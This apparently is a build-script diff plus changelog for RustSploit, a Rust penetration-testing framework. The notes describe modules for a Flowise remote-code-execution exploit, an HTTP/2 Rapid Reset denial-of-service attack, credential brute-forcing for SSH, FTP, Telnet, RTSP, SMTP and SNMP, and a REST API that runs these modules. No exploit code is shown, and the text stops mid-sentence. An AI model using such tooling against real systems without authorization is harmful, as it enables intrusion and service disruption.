/// * `mod_prefix` - Module path prefix (e.g., "crate::modules::exploits")
|
||||
/// * `category_name` - Category name for error messages (e.g., "Exploit")
|
||||
fn generate_dispatch(
|
||||
root: &str,
|
||||
out_file: &str,
|
||||
mod_prefix: &str,
|
||||
category_name: &str,
|
||||
) -> Result<(), Box<dyn std::error::Error>> {
|
||||
let out_dir = env::var("OUT_DIR")
|
||||
.map_err(|_| "OUT_DIR environment variable not set")?;
|
||||
let dest_path = Path::new(&out_dir).join(out_file);
|
||||
let mut file = File::create(&dest_path).unwrap();
|
||||
|
||||
|
||||
let root_path = Path::new(root);
|
||||
let mut mappings = Vec::new();
|
||||
visit_dirs(root_path, "".to_string(), &mut mappings).unwrap();
|
||||
if !root_path.exists() {
|
||||
return Err(format!("Module directory '{}' does not exist", root).into());
|
||||
}
|
||||
|
||||
// Collect all module mappings (using HashSet to avoid duplicates)
|
||||
let mut mappings = HashSet::new();
|
||||
visit_dirs(root_path, "".to_string(), &mut mappings)?;
|
||||
|
||||
if mappings.is_empty() {
|
||||
eprintln!("⚠️ Warning: No modules found in {}", root);
|
||||
}
|
||||
|
||||
// Sort mappings for deterministic output
|
||||
let mut sorted_mappings: Vec<_> = mappings.iter().collect();
|
||||
sorted_mappings.sort_by_key(|(key, _)| key);
|
||||
|
||||
// Generate the dispatch function
|
||||
let mut file = File::create(&dest_path)
|
||||
.map_err(|e| format!("Failed to create {}: {}", dest_path.display(), e))?;
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
"// Auto-generated by build.rs - DO NOT EDIT MANUALLY\n"
|
||||
)?;
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
"/// Dispatches to the appropriate {} module based on module name.\n\
|
||||
/// Supports both short names (e.g., 'port_scanner') and full paths (e.g., 'scanners/port_scanner').",
|
||||
category_name.to_lowercase()
|
||||
)?;
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
|
||||
).unwrap();
|
||||
)?;
|
||||
|
||||
for (key, mod_path) in &mappings {
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{k}" => {{ {p}::{m}::run(target).await? }},"#,
|
||||
k = key,
|
||||
m = mod_path.replace("/", "::"),
|
||||
p = mod_prefix
|
||||
).unwrap();
|
||||
// Generate match arms for each module (supporting both short and full names)
|
||||
for (key, mod_path) in &sorted_mappings {
|
||||
let short_key = key.rsplit('/').next().unwrap_or(key);
|
||||
let mod_code_path = mod_path.replace("/", "::");
|
||||
|
||||
// Support both short name and full path
|
||||
if short_key == *key {
|
||||
// No subdirectory, only short name
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{k}" => {{ {p}::{m}::run(target).await? }},"#,
|
||||
k = key,
|
||||
m = mod_code_path,
|
||||
p = mod_prefix
|
||||
)?;
|
||||
} else {
|
||||
// Has subdirectory, support both short and full
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{short}" | "{full}" => {{ {p}::{m}::run(target).await? }},"#,
|
||||
short = short_key,
|
||||
full = key,
|
||||
m = mod_code_path,
|
||||
p = mod_prefix
|
||||
)?;
|
||||
}
|
||||
}
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" _ => anyhow::bail!("Module '{{}}' not found.", module_name),"#
|
||||
).unwrap();
|
||||
r#" _ => anyhow::bail!("{} module '{{}}' not found.", module_name),"#,
|
||||
category_name
|
||||
)?;
|
||||
|
||||
writeln!(file, " }}\n Ok(())\n}}").unwrap();
|
||||
writeln!(file, " }}\n Ok(())\n}}")?;
|
||||
|
||||
println!("✅ Generated {} with {} modules", out_file, sorted_mappings.len());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn visit_dirs(dir: &Path, prefix: String, mappings: &mut Vec<(String, String)>) -> std::io::Result<()> {
|
||||
let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[_a-zA-Z]+\s*:\s*&str\s*\)").unwrap();
|
||||
/// Recursively visits directories to find all module files.
|
||||
///
|
||||
/// # Arguments
|
||||
/// * `dir` - Directory to scan
|
||||
/// * `prefix` - Current path prefix (e.g., "generic" or "camera/acti")
|
||||
/// * `mappings` - Set to store (full_path, module_path) tuples
|
||||
fn visit_dirs(
|
||||
dir: &Path,
|
||||
prefix: String,
|
||||
mappings: &mut HashSet<(String, String)>,
|
||||
) -> Result<(), Box<dyn std::error::Error>> {
|
||||
// Compile regex once for better performance
|
||||
// Matches: pub async fn run(target: &str) or pub async fn run(_target: &str)
|
||||
let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[^)]*:\s*&str\s*\)")
|
||||
.map_err(|e| format!("Failed to compile regex: {}", e))?;
|
||||
|
||||
if dir.is_dir() {
|
||||
for entry in fs::read_dir(dir)? {
|
||||
let entry = entry?;
|
||||
let path = entry.path();
|
||||
if !dir.is_dir() {
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
if path.is_dir() {
|
||||
let sub_prefix = format!("{}/{}", prefix, entry.file_name().to_string_lossy());
|
||||
visit_dirs(&path, sub_prefix, mappings)?;
|
||||
} else if path.extension().map_or(false, |e| e == "rs") {
|
||||
let file_name = path.file_stem().unwrap().to_string_lossy().to_string();
|
||||
if file_name == "mod" {
|
||||
continue;
|
||||
}
|
||||
let mut entries: Vec<_> = fs::read_dir(dir)?
|
||||
.collect::<Result<Vec<_>, _>>()?;
|
||||
|
||||
// Sort entries for deterministic processing
|
||||
entries.sort_by_key(|e| e.file_name());
|
||||
|
||||
let mod_path = format!("{}/{}", prefix, file_name)
|
||||
.trim_start_matches('/')
|
||||
.to_string();
|
||||
let key = mod_path.clone();
|
||||
for entry in entries {
|
||||
let path = entry.path();
|
||||
let file_name = entry.file_name();
|
||||
|
||||
let mut source = String::new();
|
||||
fs::File::open(&path)?.read_to_string(&mut source)?;
|
||||
if path.is_dir() {
|
||||
// Recursively visit subdirectories
|
||||
let sub_prefix = if prefix.is_empty() {
|
||||
file_name.to_string_lossy().to_string()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_name.to_string_lossy())
|
||||
};
|
||||
visit_dirs(&path, sub_prefix, mappings)?;
|
||||
} else if path.extension().map_or(false, |e| e == "rs") {
|
||||
// Process Rust files
|
||||
let file_stem = path.file_stem()
|
||||
.and_then(|s| s.to_str())
|
||||
.ok_or_else(|| format!("Invalid file name: {}", path.display()))?;
|
||||
|
||||
if sig_re.is_match(&source) {
|
||||
mappings.push((key.clone(), mod_path));
|
||||
println!("✅ Registered module: {}/{}", prefix, file_name);
|
||||
// Skip mod.rs files
|
||||
if file_stem == "mod" {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Build module path
|
||||
let mod_path = if prefix.is_empty() {
|
||||
file_stem.to_string()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_stem)
|
||||
};
|
||||
|
||||
// Full key includes the category prefix (will be added in generate_dispatch)
|
||||
let key = mod_path.clone();
|
||||
|
||||
// Read and check for the run function signature
|
||||
let mut source = String::new();
|
||||
File::open(&path)?.read_to_string(&mut source)?;
|
||||
|
||||
if sig_re.is_match(&source) {
|
||||
mappings.insert((key.clone(), mod_path.clone()));
|
||||
let display_path = if prefix.is_empty() {
|
||||
file_stem.to_string()
|
||||
} else {
|
||||
println!("⚠️ Skipping '{}': no matching 'pub async fn run(...)'", path.display());
|
||||
format!("{}/{}", prefix, file_stem)
|
||||
};
|
||||
println!(" ✅ Registered module: {}", display_path);
|
||||
} else {
|
||||
// Only warn in verbose mode to reduce noise
|
||||
if env::var("RUSTSPLOIT_VERBOSE_BUILD").is_ok() {
|
||||
println!(" ⚠️ Skipping '{}': no matching 'pub async fn run(target: &str)'", path.display());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
+909
@@ -0,0 +1,909 @@
|
||||
Hardened rtsp_bruteforce_advanced by validating path, username, and password wordlists before spinning up tasks, and by falling back to a safe root path when a path list is empty to avoid runtime panics.
|
||||
|
||||
Added identical early-exit checks and trimming for the SSH brute-force runner so it fails fast when wordlists are empty instead of silently doing nothing.
|
||||
|
||||
Brought the FTP brute-force helper in line with the others by trimming entries, rejecting empty wordlists, and ensuring helper utilities only return meaningful credentials.
|
||||
|
||||
|
||||
Proxy Improvements
|
||||
|
||||
Refined proxy loading to validate schemes/hosts/ports, capture parse errors, and expose optional connectivity testing via utils::load_proxies_from_file and utils::test_proxies, keeping only working entries when requested.
|
||||
|
||||
Enhanced shell commands: proxy_load now prompts for a path when omitted, reports skipped entries, offers a recommended “test proxies” prompt, and added a dedicated proxy_test command plus reusable prompt helpers.
|
||||
|
||||
Implemented interactive proxy-test workflow that gathers URL/timeouts/concurrency, filters failing proxies, and auto-disables proxy mode when none survive.
|
||||
|
||||
|
||||
Shell UX Refresh
|
||||
Reworked command parsing to support ergonomic aliases (help/h/?, modules/ls/m, find/f1, proxy_load/pl, etc.) and keep everything case-insensitive and whitespace tolerant.
|
||||
|
||||
Added a richer, colorized help palette that lists shortcuts and usage tips so “f1 ssh” style workflows are obvious.
|
||||
|
||||
Introduced helpers (split_command, resolve_command) to drive the new UX without changing existing behavior, plus guarded prompt utilities already in place.
|
||||
|
||||
|
||||
README Refresh
|
||||
|
||||
Rebuilt the README into a professional GitHub-ready document with a TOC, feature highlights, module catalog summary, quick start commands, shell walkthrough (including the new shortcuts), CLI usage, proxy workflow, module discovery flow, and contributing/credits notes.
|
||||
|
||||
README Suite Updated
|
||||
|
||||
README.md already reflects the full feature set; no further changes needed.
|
||||
docs/readme.md rewritten into a comprehensive developer guide covering architecture, module discovery, shell internals, proxy system, authoring practices, and roadmap items.
|
||||
lists/readme.md expanded to document shipped wordlists, usage guidelines, and contribution notes so operators know how data files tie into modules.
|
||||
|
||||
Pingsweep.rs
|
||||
|
||||
improved and reworked
|
||||
|
||||
|
||||
Added an API launch mode to RustSploit with the requested features.
|
||||
Features implemented
|
||||
API launch mode: --api flag to start the API server
|
||||
API key authentication: --api-key flag (required when using --api)
|
||||
Dynamic API key rotation: manual via /api/rotate-key endpoint and automatic when hardening triggers
|
||||
Hardening mode: --harden flag enables IP-based protection
|
||||
Auto-rotation: when unique IPs exceed the limit (default: 10), the API key auto-rotates
|
||||
Notifications: alerts in terminal and log file (rustsploit_api.log in the same directory)
|
||||
Interface selection: --interface flag (defaults to 0.0.0.0), supports IP/interface or full address with port
|
||||
API endpoints
|
||||
GET /health - Health check (no auth required)
|
||||
GET /api/modules - List all available modules
|
||||
POST /api/run - Run a module on a target
|
||||
GET /api/status - Get API server status
|
||||
POST /api/rotate-key - Manually rotate the API key
|
||||
|
||||
Usage examples
|
||||
# Basic API server on 0.0.0.0:8080./rustsploit --api --api-key my-secret-key# With hardening enabled (auto-rotate on >10 unique IPs)./rustsploit --api --api-key my-secret-key --harden# Custom interface and IP limit./rustsploit --api --api-key my-secret-key --harden --interface 127.0.0.1 --ip-limit 5# Custom port./rustsploit --api --api-key my-secret-key --interface 0.0.0.0:9000
|
||||
|
||||
Security features
|
||||
API key authentication on all protected endpoints
|
||||
IP tracking and monitoring
|
||||
Automatic key rotation when suspicious activity is detected
|
||||
Logging to both terminal and file for audit trails
|
||||
IP limit enforcement with configurable thresholds
|
||||
|
||||
All IpTracker fields are used:
|
||||
ip: Used in logging, status endpoint, and the new /api/ips endpoint
|
||||
first_seen: Used in logging to show when IP was first detected, and in both endpoints
|
||||
last_seen: Used in status and /api/ips endpoints
|
||||
request_count: Used in logging and both endpoints
|
||||
New endpoint added: /api/ips - Returns all tracked IP addresses with full details including all fields
|
||||
Enhanced get_status endpoint: Now includes detailed IP tracking information with all fields from each IpTracker
|
||||
Enhanced track_ip method: Now logs detailed information using all fields, including duration calculations
|
||||
Added serde feature to chrono: Enables DateTime<Utc> serialization
|
||||
All routes properly wired: The new /api/ips endpoint is added to the protected routes
|
||||
The code should compile without any dead code warnings. All fields are actively used in:
|
||||
Logging operations
|
||||
API responses
|
||||
Status reporting
|
||||
IP tracking calculations
|
||||
|
||||
|
||||
|
||||
Added authorization rate limiting with the following features:
|
||||
Rate limiting logic:
|
||||
Tracks failed authentication attempts per IP
|
||||
Blocks IPs for 30 seconds after 3 failed attempts
|
||||
Automatically resets the counter after the block period expires
|
||||
Resets the counter on successful authentication
|
||||
New AuthFailureTracker struct:
|
||||
ip: IP address being tracked
|
||||
failed_attempts: Number of failed attempts
|
||||
first_failure: Timestamp of first failure
|
||||
blocked_until: Timestamp when block expires (if blocked)
|
||||
Enhanced auth middleware:
|
||||
Checks rate limit before processing authentication
|
||||
Records failures when invalid keys are provided
|
||||
Resets counter on successful authentication
|
||||
Returns 429 Too Many Requests when blocked
|
||||
Logging:
|
||||
Logs all rate limit events to terminal and log file
|
||||
Shows remaining block time
|
||||
Tracks duration since first failure
|
||||
New API endpoint:
|
||||
GET /api/auth-failures - Returns all IPs with authentication failures and their status
|
||||
Enhanced existing endpoints:
|
||||
/api/ips now includes auth failure information for each IP
|
||||
|
||||
Updated Files
|
||||
1. README.md
|
||||
|
||||
|
||||
Added API Server Mode to the table of contents
|
||||
Added REST API Server to highlights
|
||||
Added an API Server Mode section with:
|
||||
Starting the API server (cargo commands)
|
||||
API flags table
|
||||
All endpoints with curl examples
|
||||
Security features (rate limiting, hardening, logging)
|
||||
Example workflow
|
||||
2. docs/readme.md (Developer Guide)
|
||||
Added API Server Architecture to the table of contents
|
||||
Updated code layout to include api.rs
|
||||
Added an API Server Architecture section with:
|
||||
Architecture overview
|
||||
State management details
|
||||
Authentication middleware explanation
|
||||
Rate limiting and hardening mode details
|
||||
Key components with code examples
|
||||
API endpoints list
|
||||
Logging information
|
||||
CLI usage examples
|
||||
Documentation Highlights
|
||||
The docs now include:
|
||||
Cargo commands for starting the API server
|
||||
All available flags (--api, --api-key, --harden, --interface, --ip-limit)
|
||||
Complete endpoint documentation with curl examples
|
||||
Security features explanation (rate limiting, hardening, logging)
|
||||
Architecture details for developers
|
||||
Example workflows
|
||||
|
||||
|
||||
Improving build.rs with better error handling, short name support, sorting, and other enhancements:
|
||||
build.rs
|
||||
|
||||
|
||||
Removing the unused import:
|
||||
build.rs
|
||||
|
||||
|
||||
Improvements
|
||||
Error handling
|
||||
Replaced .unwrap() with Result types
|
||||
Clear error messages with context
|
||||
Validates directory existence before processing
|
||||
Short name support
|
||||
Generates match arms for both short names (e.g., port_scanner) and full paths (e.g., scanners/port_scanner)
|
||||
Matches the pattern used in the generated dispatcher files
|
||||
|
||||
Deterministic output
|
||||
Sorts mappings and directory entries for consistent builds
|
||||
Easier to review generated code in version control
|
||||
Deduplication
|
||||
Uses HashSet to avoid duplicate module registrations
|
||||
Documentation
|
||||
Added doc comments explaining the script's purpose and behavior
|
||||
Regex
|
||||
More flexible pattern that handles different parameter names (e.g., target, _target)
|
||||
Code organization
|
||||
Uses a vector of tuples to iterate over categories, reducing duplication
|
||||
More maintainable structure
|
||||
|
||||
Verbose mode
|
||||
Optional verbose warnings via RUSTSPLOIT_VERBOSE_BUILD environment variable
|
||||
Reduces noise during normal builds
|
||||
Better path handling
|
||||
More robust path operations with proper error handling
|
||||
Handles edge cases better
|
||||
Output quality
|
||||
Adds header comments to generated files
|
||||
Includes documentation in generated code
|
||||
Better formatted output
|
||||
The build script is now more robust, maintainable, and feature-complete. It should handle edge cases better and provide clearer feedback during the build process.
|
||||
|
||||
|
||||
ping_sweep.rs improvements
|
||||
Progress reporting: real-time progress with percentage, hosts up count, and scan rate
|
||||
Parallel TCP probing: ports are probed in parallel for better performance
|
||||
Better ICMP detection: detects and uses the correct ping command (ping vs ping6, handles IPv6 with -6 flag)
|
||||
Error handling: clearer error messages when ping commands are missing
|
||||
Progress cleanup: clears progress line at completion for cleaner output
|
||||
|
||||
|
||||
ssdp_msearch.rs improvements
|
||||
Multiple search targets: supports upnp:rootdevice, ssdp:all, and custom ST values
|
||||
Configurable timeout: user can set timeout (default 3 seconds)
|
||||
Retry logic: configurable retries (default 1, max 10) with delays between attempts
|
||||
Verbose mode: optional verbose output showing requests and detailed errors
|
||||
Enhanced response parsing: extracts additional SSDP headers (ST, NT, Cache-Control, EXT)
|
||||
Better error handling: proper error context and messages throughout
|
||||
Larger buffer: increased from 2048 to 4096 bytes for larger SSDP responses
|
||||
User-Agent header: adds RustSploit user-agent to requests
|
||||
Better output formatting: improved response display with additional header information
|
||||
Both modules now have:
|
||||
Better error handling
|
||||
More features and configurability
|
||||
Improved performance
|
||||
Better user experience with progress indicators and verbose modes
|
||||
More robust cross-platform support
|
||||
|
||||
|
||||
|
||||
Created Files:
|
||||
|
||||
src/modules/exploits/flowise/cve_2025_59528_flowise_rce.rs - Main exploit module
|
||||
src/modules/exploits/flowise/mod.rs - Module registration file
|
||||
Updated src/modules/exploits/mod.rs - Added flowise module
|
||||
|
||||
|
||||
Features:
|
||||
Banner display - ASCII art banner matching the original Python version
|
||||
Interactive prompts - Prompts for email, password, and command (like other modules)
|
||||
Authentication - Login functionality with proper headers
|
||||
RCE execution - Executes commands via the customMCP endpoint vulnerability
|
||||
Error handling - Proper error handling with colored output
|
||||
Cookie support - Uses reqwest's cookie store to maintain session
|
||||
401 retry logic - Automatically retries with internal header if needed
|
||||
Framework Integration:
|
||||
The module is automatically detected by the framework's build script (build.rs) because it:
|
||||
Exports pub async fn run(target: &str) -> Result<()>
|
||||
Is located in src/modules/exploits/flowise/
|
||||
Is registered in the mod.rs files
|
||||
The module will be available as:
|
||||
flowise/cve_2025_59528_flowise_rce (full path)
|
||||
cve_2025_59528_flowise_rce (short name)
|
||||
|
||||
|
||||
|
||||
panos module
|
||||
Added improvements from the new version:
|
||||
Better error handling with Context for more informative error messages
|
||||
Enhanced file reading that filters empty lines and comments (lines starting with #)
|
||||
Colored output:
|
||||
Yellow for testing/info messages
|
||||
Green for vulnerable findings
|
||||
Red for errors/not vulnerable
|
||||
Cyan for headers and vulnerable URLs
|
||||
Better feedback messages showing what's being tested
|
||||
Summary statistics showing vulnerable count for batch scans
|
||||
Proper error propagation with ? operator
|
||||
|
||||
|
||||
Flowise RCE Module (CVE-2025-59528)
|
||||
|
||||
Location: src/modules/exploits/flowise/cve_2025_59528_flowise_rce.rs
|
||||
Status: Fully implemented
|
||||
Has pub async fn run(target: &str) -> Result<()> signature
|
||||
Registered in src/modules/exploits/flowise/mod.rs
|
||||
Listed in src/modules/exploits/mod.rs
|
||||
|
||||
Features:
|
||||
|
||||
Banner display
|
||||
Interactive prompts (email, password, command)
|
||||
Login functionality
|
||||
RCE execution via customMCP endpoint
|
||||
Error handling with colored output
|
||||
Cookie-based session management
|
||||
401 retry logic
|
||||
|
||||
Framework Integration:
|
||||
|
||||
Auto-discovered by build script
|
||||
Available as: flowise/cve_2025_59528_flowise_rce or cve_2025_59528_flowise_rce
|
||||
HTTP/2 Rapid Reset DoS Module (CVE-2023-44487)
|
||||
Location: src/modules/exploits/http2/cve_2023_44487_http2_rapid_reset.rs
|
||||
Status: Fully implemented
|
||||
Has pub async fn run(target: &str) -> Result<()> signature
|
||||
Registered in src/modules/exploits/http2/mod.rs
|
||||
Listed in src/modules/exploits/mod.rs
|
||||
|
||||
Features:
|
||||
|
||||
Banner display with legal disclaimer
|
||||
Interactive prompts (port, SSL, streams, delay, baseline)
|
||||
Baseline test functionality
|
||||
Rapid reset attack implementation
|
||||
Vulnerability analysis with risk assessment
|
||||
IPv6 support
|
||||
SSL/TLS support via tokio-rustls
|
||||
Error handling with colored output
|
||||
|
||||
Framework Integration:
|
||||
|
||||
Auto-discovered by build script
|
||||
Available as: http2/cve_2023_44487_http2_rapid_reset or cve_2023_44487_http2_rapid_reset
|
||||
|
||||
Dependencies Added:
|
||||
|
||||
h2 = "0.3" - HTTP/2 protocol implementation
|
||||
tokio-rustls = "0.24" - Async TLS support
|
||||
http = "1.0" - HTTP types
|
||||
|
||||
|
||||
Implementation status
|
||||
Module structure:
|
||||
Exported in src/modules/exploits/http2/mod.rs
|
||||
Auto-discovered by the build script (registered as http2/cve_2023_44487_http2_rapid_reset)
|
||||
Core functions:
|
||||
banner() — displays module banner
|
||||
normalize_host() — handles IPv6 address formatting
|
||||
baseline_test() — performs baseline HTTP/2 requests (SSL and non-SSL)
|
||||
rapid_reset_test() — performs the rapid reset attack test (SSL and non-SSL)
|
||||
run() — main entry point with interactive prompts
|
||||
Features:
|
||||
SSL/TLS support with proper certificate handling
|
||||
Non-SSL support for plain HTTP/2
|
||||
Baseline testing before the attack
|
||||
Rapid stream creation and reset
|
||||
Vulnerability analysis with risk assessment
|
||||
Interactive configuration (port, SSL, streams, delay)
|
||||
Legal disclaimer and permission check
|
||||
Fixes applied:
|
||||
Fixed http version conflict (0.2 to match h2)
|
||||
Added bytes dependency
|
||||
Fixed type inference for handshake calls
|
||||
Fixed send_request API usage
|
||||
Fixed send_reset return type handling
|
||||
Removed unused mut keywords
|
||||
Consistent TLS configuration
|
||||
Code quality:
|
||||
No linter errors
|
||||
No warnings
|
||||
Proper error handling
|
||||
Clean code structure
|
||||
The module is ready to use. You can run it via:
|
||||
Interactive shell: run exploits/http2/cve_2023_44487_http2_rapid_reset <target>
|
||||
Or the short form: run http2/cve_2023_44487_http2_rapid_reset <target>
|
||||
|
||||
|
||||
|
||||
Updated packages
|
||||
All dependencies now use version ranges (e.g., "0.12" instead of "0.12.15"), allowing Cargo to fetch the latest patch versions.
|
||||
Kept compatible versions for:
|
||||
h2 = "0.3" (upgrading to 0.4 would require http 1.0+ and code changes)
|
||||
http = "0.2" (required by h2 0.3)
|
||||
tokio-rustls = "0.24" (compatible with current setup)
|
||||
Updated to latest ranges:
|
||||
reqwest = "0.12" (was 0.12.15)
|
||||
tokio = "1.44" (was 1.44.2)
|
||||
clap = "4.5" (was 4.5.35)
|
||||
rustls = "0.23" (was 0.23.26)
|
||||
bytes = "1.0" (was 1.0)
|
||||
And all other packages
|
||||
|
||||
|
||||
|
||||
Improved http_title_scanner to be more robust and flexible:
|
||||
Added interactive workflow: collects initial target, optional comma-separated list, and/or file-based target list.
|
||||
Lets you choose whether to probe HTTP, HTTPS, or both; validates choices and prompts for timeout, verbosity, and optional report saving.
|
||||
Uses a shared reqwest client with user-agent, redirect limit, and configurable timeout; extracts titles via an improved regex, sanitizes output, and captures status/timing details.
|
||||
Handles errors gracefully, prints concise or verbose output, and writes an optional timestamped report (http_title_scan_YYYYMMDD_HHMMSS.txt) with per-target results.
|
||||
Removed dead code and ensured no unwrap panics on network paths.
|
||||
|
||||
|
||||
Added input validation and sanitization to the API:
|
||||
New validation helpers:
|
||||
sanitize_for_log: strips CR/LF/tab and truncates long values before logging
|
||||
validate_api_key_format: length and ASCII checks
|
||||
validate_module_name: allows only expected forms (exploits|scanners|creds/... with safe chars)
|
||||
validate_target: basic length, printable ASCII, trimmed, and injection-safe checks
|
||||
Applied protections:
|
||||
Middleware now rejects malformed API keys early
|
||||
run_module validates module and target before dispatch; logs use sanitized values
|
||||
All log messages are passed through sanitize_for_log to avoid log injection
|
||||
|
||||
|
||||
#### api mode and bug fixes and new modules etc Latest end
|
||||
|
||||
Improved the telnet bruteforce module with safer inputs and sturdier execution:
|
||||
|
||||
Added guarded prompts for port, thread count, yes/no answers, and wordlist paths (loops until valid input, checks file existence). Blank or invalid inputs now fall back to sensible defaults or re-prompt instead of panicking.
|
||||
Wordlists are trimmed and filtered, with explicit errors when the files are empty—preventing silent no-op bruteforcing.
|
||||
Swapped the shared stop flag to an AtomicBool so workers react immediately when a credential is found while stop_on_success is enabled.
|
||||
Counted queued combinations up front and log the total attempts for visibility.
|
||||
|
||||
|
||||
Added a powerful raw brute-force option to the Telnet module:
|
||||
Prompts now support programmatic password generation: answer “yes” to “Enable raw brute-force password generation?” to supply a character set (default a-zA-Z0-9) and a maximum length (bounded to 1–6).
|
||||
Wordlists became optional when raw mode is on (leave the password wordlist blank to skip it); the module still accepts wordlists and can combine them with raw guesses.
|
||||
Queue building now streams through a background generator thread that respects the shared stop_on_success flag (AtomicBool) and counts attempts via an AtomicUsize.
|
||||
Improved input validation for ports, thread counts, yes/no answers, and file paths; empty lists now raise clear errors.
|
||||
Logged attempt counts and status messages highlight usernames/passwords loaded and total credentials queued.
|
||||
|
||||
|
||||
|
||||
Credential Modules
|
||||
Hardened the SSH brute-force runner with validated host normalization, atomic stop control, and a bounded async work queue so we no longer pile up tasks or contend on a mutex; workers now exit immediately once a hit is found while still honoring combo mode and verbose logging.
|
||||
|
||||
FTP Bruteforce Fixes
|
||||
Swapped the shared stop flag to an Arc<AtomicBool> and tightened the worker loops so we stop queuing attempts immediately after a hit while still letting outstanding tasks exit cleanly under the semaphore cap.
|
||||
|
||||
Simplified throttling: we dropped the expensive system-polling loop and now rely on the semaphore for connection pressure, plus clearer panic logging in the join loop.
|
||||
Extended try_ftp_login with a verbose toggle so noisy connection failures only print when requested, while still surfacing TLS fallbacks or critical errors.
|
||||
|
||||
Replaced the brute-force loop with a semaphore-guarded task queue so concurrency stays bounded, tasks bail fast once a hit is found, and DNS results are resolved once and reused across attempts.
|
||||
|
||||
Added shared header storage plus richer error messages that identify the target when RTSP replies are unexpected or connections fail.
|
||||
|
||||
Advanced headers are now shared via Arc, and the stop flag moved to AtomicBool so threads don’t block on a mutex when cancelling runs.
|
||||
|
||||
RTSP Target Support Updates
|
||||
Added centralized target normalization so the module now accepts domains, IPv4, IPv6 (with or without brackets), optional schemes, and inline RTSP paths; inferred paths are queued first in the brute-force list.
|
||||
|
||||
Introduced normalize_target_input to standardize host/port handling and trim any implicit path/query fragments before resolution.
|
||||
|
||||
No automated tests were run; consider a quick RTSP smoke test against known IPv4/IPv6 endpoints to confirm resolution and path detection behave as expected.
|
||||
|
||||
Introduced shared prompt utilities for ports, thread counts, yes/no answers, and wordlists so SMTP input handling now mirrors the other modules and gives consistent feedback on bad values.
|
||||
|
||||
Reworked the SMTP brute-force module to match our richer prompt UX and concurrency story: inputs are validated, wordlists must exist, and worker threads respect an AtomicBool stop flag while reporting loaded counts and draining the queue on success.
|
||||
|
||||
Added reusable helpers for SSH input validation—targets are normalized through DNS-safe bracket handling and wordlists must exist before continuing—so mis-typed hosts or files fail fast with actionable feedback.
|
||||
|
||||
Hardened the REPL inputs: we now cap command length, sanitize module paths, and refuse targets with whitespace/control chars so only vetted values reach the module runner and env vars.
|
||||
|
||||
Locked down proxy usage by deduplicating/truncating large lists before activation, making it harder to feed an unbounded or repeated proxy set into env vars.
|
||||
|
||||
Added explicit sanitizers for module paths/targets to block traversal attempts and exotic characters before they ever touch utils::module_exists or shared state.
|
||||
|
||||
Docker Setup Utility
|
||||
|
||||
Added scripts/setup_docker.py, a standalone interactive helper that:
|
||||
Detects repo root, validates Docker/Docker Compose availability, and guides users through binding address selection (loopback, 0.0.0.0, detected LAN IP, or custom).
|
||||
Prompts for API key (custom or securely generated), optional hardening toggle, and IP-limit.
|
||||
Generates a multi-stage Dockerfile (docker/Dockerfile.api) matching the requested build/serve stages, a hardened entrypoint (docker/entrypoint.sh), a project-specific compose file (docker-compose.rustsploit.yml), and an environment file (.env.rustsploit-docker).
|
||||
Optionally runs docker compose up -d --build to bring the API online with the chosen configuration.
|
||||
|
||||
Usage
|
||||
|
||||
From the repo root, run python3 scripts/setup_docker.py.
|
||||
Follow the prompts to select interface, API key, and hardening settings.
|
||||
Allow the script to generate files and (optionally) launch the Docker stack.
|
||||
If you skip the final step, start the stack later with:
|
||||
docker compose -f docker-compose.rustsploit.yml up -d --build
|
||||
All new files are created only after confirmation when existing content is detected, preventing accidental overwrites.
|
||||
|
||||
Rebuilt scripts/setup_docker.py into a safer CLI/interactive hybrid:
|
||||
Validates repo root, docker/docker‑compose availability, and enforces printable API keys with optional random generation.
|
||||
Adds flags (--bind, --port, --api-key, --generate-key, --enable-hardening, --disable-hardening, --ip-limit, --compose-cmd, --skip-up, --force, --non-interactive) so the tool can be scripted or used interactively.
|
||||
Normalizes host/port selection (loopback, all interfaces, detected LAN, or custom) and applies strict parsing for non-interactive use.
|
||||
Generates Dockerfile, entrypoint, Compose file, and env file with restricted permissions (.env written 0600), docker security options (no-new-privileges, tmpfs /tmp), and port bindings derived from user choices.
|
||||
Supports BuildKit-enabled docker compose up -d --build, or skips launch when --skip-up is set.
|
||||
|
||||
Reworked run to drive a multi-target workflow: it now gathers sanitized targets from CLI, interactive prompts, or files, applies per-target ports (including ip:port forms), and iterates through them while reusing a single DNS query configuration.
|
||||
|
||||
Added robust parsing, validation, and de-duplication helpers for targets, with stop handling, file support, and strict host/port sanitization so mixed IPs/domains and custom ports are accepted safely.
|
||||
|
||||
#### after docker
|
||||
|
||||
|
||||
Created an SNMPv1 & SNMPv2c bruteforce module for RustSploit:
|
||||
|
||||
Added module: src/modules/creds/generic/snmp_bruteforce.rs
|
||||
Supports SNMPv1 and SNMPv2c
|
||||
Manual SNMP packet encoding (no external SNMP library)
|
||||
Uses UDP sockets to send SNMP GET requests
|
||||
Tests community strings from a wordlist
|
||||
Configurable concurrency, timeout, and verbosity
|
||||
Saves results to a file
|
||||
Registered the module in src/modules/creds/generic/mod.rs
|
||||
|
||||
Features:
|
||||
|
||||
Interactive prompts for configuration
|
||||
Supports both SNMPv1 and SNMPv2c
|
||||
Concurrent brute-forcing with configurable limits
|
||||
Stop on first success option
|
||||
Verbose mode for debugging
|
||||
Results saving to file
|
||||
|
||||
Manual SNMP BER encoding implementation
|
||||
The module follows the same pattern as other bruteforce modules (SSH, FTP, etc.) and will be automatically discovered by the build system. You can use it via:
|
||||
CLI: creds/generic/snmp_bruteforce or creds/snmp_bruteforce
|
||||
API: Same module path
|
||||
|
||||
|
||||
### lot o fixes uwu
|
||||
|
||||
Diagnosis
|
||||
|
||||
The compiler couldn't prove the loop would exit because:
|
||||
